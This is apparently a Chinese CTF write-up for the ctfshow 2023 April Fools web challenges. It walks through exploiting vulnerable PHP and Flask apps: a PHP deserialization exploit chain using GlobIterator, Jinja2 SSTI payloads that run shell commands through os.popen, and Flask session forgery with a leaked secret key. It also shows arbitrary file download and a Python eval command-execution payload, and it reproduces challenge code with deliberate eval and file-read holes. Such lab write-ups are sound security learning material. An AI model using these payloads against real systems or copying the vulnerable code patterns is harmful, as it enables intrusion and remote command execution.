目录

  1. 1. 前言
  2. 2. WEB
    1. 2.1. easy_signin
    2. 2.2. 被遗忘的反序列化(未完成)
    3. 2.3. easy_ssti
    4. 2.4. easy_flask
    5. 2.5. 暗网聊天室(待复现)
    6. 2.6. easy_php(待复现)
    7. 2.7. easy_class(待复现)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

ctfshow2023愚人杯

2023/4/30 CTF线上赛 ctfshow
  |     |   总文章阅读量:

前言

官方wp

抛开签到不看,题目姿势还是挺离谱的(

WEB

easy_signin

文件读取

打开题目,发现一张图片和一个参数img

image-20230430113944445

很明显传入的值需要经过base64编码

这里试图传入system('ls');

image-20230430114432757

出现报错,得知是由file_get_contents函数进行文件读取

但是我们不知道flag的位置,那么要读点什么呢?

这时候我想到报错信息中出现的index.php是一个可读取的文件,于是尝试读取

image-20230430115318224

读取成功,打开图片看看

image-20230430115407434

发现一串base64,解码找到flag

image-20230430115521807


被遗忘的反序列化(未完成)

反序列化

加密爆破

打开看到题目反序列化源码

<?php
# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");
class EeE
{
    public $text;
    public $eeee;
    public function __wakeup()
    {
        if ($this->text == "aaaa") {
            echo lcfirst($this->text);
        }
    }
    public function __get($kk)
    {
        echo "$kk,eeeeeeeeeeeee";
    }

    public function __clone()
    {
        $a = new cycycycy;
        $a->aaa();
    }
}
class cycycycy
{
    public $a;
    private $b;

    public function aaa()
    {
        $get = $_GET['get'];
        $get = cipher($get);
        if ($get === "p8vfuv8g8v8py") {
            eval($_POST["eval"]);
        }
    }
    public function __invoke()
    {
        $a_a = $this->a;
        echo "\$a_a\$";
    }
}
class gBoBg
{
    public $name;
    public $file;
    public $coos;
    private $eeee = "-_-";
    public function __toString()
    {
        if (isset($this->name)) {
            $a = new $this->coos($this->file);
            echo $a;
        } else if (!isset($this->file)) {
            return $this->coos->name;
        } else {
            $aa = $this->coos;
            $bb = $this->file;
            return $aa();
        }
    }
}
class w_wuw_w
{
    public $aaa;
    public $key;
    public $file;
    public function __wakeup()
    {
        if (!preg_match("/php|63|\*|\?/i", $this->key)) {
            $this->key = file_get_contents($this->file);
        } else {
            echo "不行哦";
        }
    }
    public function __destruct()
    {
        echo $this->aaa;
    }
    public function __invoke()
    {
        $this->aaa = clone new EeE;
    }
}
$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);

这里先找反序列化的出口,很明显在cycycycyaaa方法的eval函数进行命令执行

但是在上面有一个cipher方法,这个方法不在当前的php文件下,那么就是check.php里的方法

那么怎么得知check.php的文件内容呢?

这个时候就回到最上面提示的txt文件,但是并没有给我们具体的文件名

于是就要思考如何读取这个txt文件的内容

可以看到在gBoBg类中有一个new实例化的语句,而且coos和file值是我们自己可定义的

class gBoBg
{
    public $name;
    public $file;
    public $coos;
    private $eeee = "-_-";
    public function __toString()
    {
        if (isset($this->name)) {
            $a = new $this->coos($this->file);
            echo $a;

这时我们就要考虑到利用原生类进行文件读取

然后为了调用__toString方法我们这里需要触发一个echo,所以这里选择EeE

exp1:

<?php
class EeE
{
    public $text;
    public $eeee;
}
class gBoBg
{
    public $name;
    public $file;
    public $coos;
}
$a = new EeE;
$b = new gBoBg;
$a->text = $b;
$b->name = 'aaaa';
$b->file = '/*.txt';
$b->coos = 'GlobIterator';
echo serialize($a);

然后卡在传header这了555


easy_ssti

SSTI

打开题目,f12发现提示

image-20230430194550659

访问下载app.zip并解压得到源码

from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)

@app.route('/hello/')
def hello(name=None):
    return render_template('hello.html',name=name)
@app.route('/hello/<name>')
def hellodear(name):
    if "ge" in name:
        return render_template_string('hello %s' % name)
    elif "f" not in name:
        return render_template_string('hello %s' % name)
    else:
        return 'Nonononon'

很明显在hello路径后存在ssti注入

直接payload一把梭

{{lipsum.__globals__.os.popen("ls /").read()}}

发现不行,于是尝试以传参方法执行命令

{{lipsum.__globals__.os.popen(request.args.get("a")).read()}}?a=ls /

image-20230430200350864

成功,直接cat /flag获取flag


easy_flask

session伪造+任意文件下载+python命令执行

进入题目,是一个登录框

随便注册一个账号登录,来到 /profile 路由

image-20240921225127068

我们需要变成 admin

点击 learn,进入 /show 路由

发现是源码:

# app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response


app = Flask(__name__)


app.secret_key = 'S3cr3tK3y'

users = {

}

@app.route('/')
def index():
# Check if user is loggedin
if 'loggedin' in session:
return redirect(url_for('profile'))
return redirect(url_for('login'))

@app.route('/login/', methods=['GET', 'POST'])
def login():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users and password == users[username]['password']:
session['loggedin'] = True
session['username'] = username
session['role'] = users[username]['role']
return redirect(url_for('profile'))
else:
msg = 'Incorrect username/password!'
return render_template('login.html', msg=msg)


@app.route('/register/', methods=['GET', 'POST'])
def register():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users:
msg = 'Account already exists!'
else:
users[username] = {'password': password, 'role': 'user'}
msg = 'You have successfully registered!'
return render_template('register.html', msg=msg)



@app.route('/profile/')
def profile():
if 'loggedin' in session:
return render_template('profile2.html', username=session['username'], role=session['role'])
return redirect(url_for('login'))

拿到secret_key:S3cr3tK3y,接下来直接session伪造

python flask_session_cookie_manager3.py decode -s "S3cr3tK3y" -c "eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6InVzZXIiLCJ1c2VybmFtZSI6ImFhYSJ9.Zu7dSw.jsAFgyiDFumwWh1D4g5y9beUjhc"
{'loggedin': True, 'role': 'user', 'username': 'aaa'}


python flask_session_cookie_manager3.py encode -s "S3cr3tK3y" -t "{'loggedin': True, 'role': 'admin', 'username': 'aaa'}"
eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6ImFkbWluIiwidXNlcm5hbWUiOiJhYWEifQ.Zu7e1w.3JAhGuoIVs_G9q0sLFTSO1g7tvk

image-20240921225928006

伪造成admin,多出一个文件下载的点

image-20240921230105517

存在任意文件读取,读取app.py拿到完整源码

# app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response


app = Flask(__name__)


app.secret_key = 'S3cr3tK3y'

users = {
    'admin': {'password': 'LKHSADSFHLA;KHLK;FSDHLK;ASFD', 'role': 'admin'}
}



@app.route('/')
def index():
    # Check if user is loggedin
    if 'loggedin' in session:
        return redirect(url_for('profile'))
    return redirect(url_for('login'))

@app.route('/login/', methods=['GET', 'POST'])
def login():
    msg = ''
    if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
        username = request.form['username']
        password = request.form['password']
        if username in users and password == users[username]['password']:
            session['loggedin'] = True
            session['username'] = username
            session['role'] = users[username]['role']
            return redirect(url_for('profile'))
        else:
            msg = 'Incorrect username/password!'
    return render_template('login2.html', msg=msg)


@app.route('/register/', methods=['GET', 'POST'])
def register():
    msg = '' 
    if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
        username = request.form['username']
        password = request.form['password']
        if username in users:
            msg = 'Account already exists!'
        else:
            users[username] = {'password': password, 'role': 'user'}
            msg = 'You have successfully registered!'
    return render_template('register2.html', msg=msg)



@app.route('/profile/')
def profile():
    if 'loggedin' in session:
        return render_template('profile2.html', username=session['username'], role=session['role'])
    return redirect(url_for('login'))


@app.route('/show/')
def show():
    if 'loggedin' in session:
        return render_template('show2.html')

@app.route('/download/')
def download():
    if 'loggedin' in session:
        filename = request.args.get('filename')
        if 'filename' in request.args:              
            return send_file(filename, as_attachment=True)
  
    return redirect(url_for('login'))


@app.route('/hello/')
def hello_world():
    try:
        s = request.args.get('eval')
        return f"hello,{eval(s)}"
    except Exception as e:
        print(e)
        pass
        
    return "hello"
    


@app.route('/logout/')
def logout():
   session.pop('loggedin', None)
   session.pop('id', None)
   session.pop('username', None)
   session.pop('role', None)
   return redirect(url_for('login'))


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8080)

发现 /hello 路由有命令执行

直接命令执行:

__import__('os').popen("ls /").read()

image-20240921230347855


暗网聊天室(待复现)


easy_php(待复现)


easy_class(待复现)